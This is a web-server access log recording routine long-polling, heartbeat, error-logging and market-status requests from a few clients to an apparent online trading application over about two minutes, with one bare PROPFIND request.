[09/Jan/2026:10:13:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925096228 HTTP/1.1" -
[09/Jan/2026:10:13:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:13:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:13:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925088905 HTTP/1.1" -
[09/Jan/2026:10:13:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925086665 HTTP/1.1" -
[09/Jan/2026:10:13:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925102225 HTTP/1.1" -
[09/Jan/2026:10:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925093980 HTTP/1.1" -
[09/Jan/2026:10:13:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925091698 HTTP/1.1" -
[09/Jan/2026:10:13:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925108222 HTTP/1.1" -
[09/Jan/2026:10:13:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:13:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925099110 HTTP/1.1" -
[09/Jan/2026:10:13:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925096736 HTTP/1.1" -
[09/Jan/2026:10:13:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925114226 HTTP/1.1" -
[09/Jan/2026:10:13:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925101757 HTTP/1.1" -
[09/Jan/2026:10:13:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925104235 HTTP/1.1" -
[09/Jan/2026:10:13:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:13:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:13:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925120228 HTTP/1.1" -
[09/Jan/2026:10:13:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925106788 HTTP/1.1" -
[09/Jan/2026:10:13:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925109430 HTTP/1.1" -
[09/Jan/2026:10:14:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925126225 HTTP/1.1" -
[09/Jan/2026:10:14:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925111822 HTTP/1.1" -
[09/Jan/2026:10:14:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925114601 HTTP/1.1" -
[09/Jan/2026:10:14:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:14:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:14:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925116861 HTTP/1.1" -
[09/Jan/2026:10:14:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925119770 HTTP/1.1" -
[09/Jan/2026:10:14:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925132229 HTTP/1.1" -
[09/Jan/2026:10:14:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925121902 HTTP/1.1" -
[09/Jan/2026:10:14:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925124844 HTTP/1.1" -
[09/Jan/2026:10:14:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925138236 HTTP/1.1" -
[09/Jan/2026:10:14:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:14:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925126947 HTTP/1.1" -
[09/Jan/2026:10:14:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925129980 HTTP/1.1" -
[09/Jan/2026:10:14:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925144231 HTTP/1.1" -
[09/Jan/2026:10:14:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925131979 HTTP/1.1" -
[09/Jan/2026:10:14:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:14:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925135283 HTTP/1.1" -
[09/Jan/2026:10:14:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925150225 HTTP/1.1" -
[09/Jan/2026:10:14:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925137026 HTTP/1.1" -
[09/Jan/2026:10:14:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925140422 HTTP/1.1" -
[09/Jan/2026:10:14:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925156228 HTTP/1.1" -
[09/Jan/2026:10:14:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925142067 HTTP/1.1" -
[09/Jan/2026:10:14:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:14:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:14:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925145610 HTTP/1.1" -
[09/Jan/2026:10:14:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925147115 HTTP/1.1" -
[09/Jan/2026:10:14:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925162224 HTTP/1.1" -
[09/Jan/2026:10:14:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925150681 HTTP/1.1" -
[09/Jan/2026:10:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:14:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925152153 HTTP/1.1" -
[09/Jan/2026:10:14:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925155815 HTTP/1.1" -
[09/Jan/2026:10:14:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925168229 HTTP/1.1" -
[09/Jan/2026:10:14:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:14:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925157187 HTTP/1.1" -
[09/Jan/2026:10:14:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925160951 HTTP/1.1" -
[09/Jan/2026:10:14:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925174228 HTTP/1.1" -
[09/Jan/2026:10:14:51 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:10:14:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925162212 HTTP/1.1" -
[09/Jan/2026:10:14:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:14:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:14:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925166089 HTTP/1.1" -
[09/Jan/2026:10:14:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925180236 HTTP/1.1" -
[09/Jan/2026:10:14:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925167256 HTTP/1.1" -
[09/Jan/2026:10:14:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925171233 HTTP/1.1" -
[09/Jan/2026:10:15:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925186224 HTTP/1.1" -
[09/Jan/2026:10:15:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925172285 HTTP/1.1" -
[09/Jan/2026:10:15:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:15:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:15:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:15:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925176377 HTTP/1.1" -
[09/Jan/2026:10:15:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925177317 HTTP/1.1" -
[09/Jan/2026:10:15:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925192234 HTTP/1.1" -
[09/Jan/2026:10:15:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925181490 HTTP/1.1" -
[09/Jan/2026:10:15:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925182363 HTTP/1.1" -
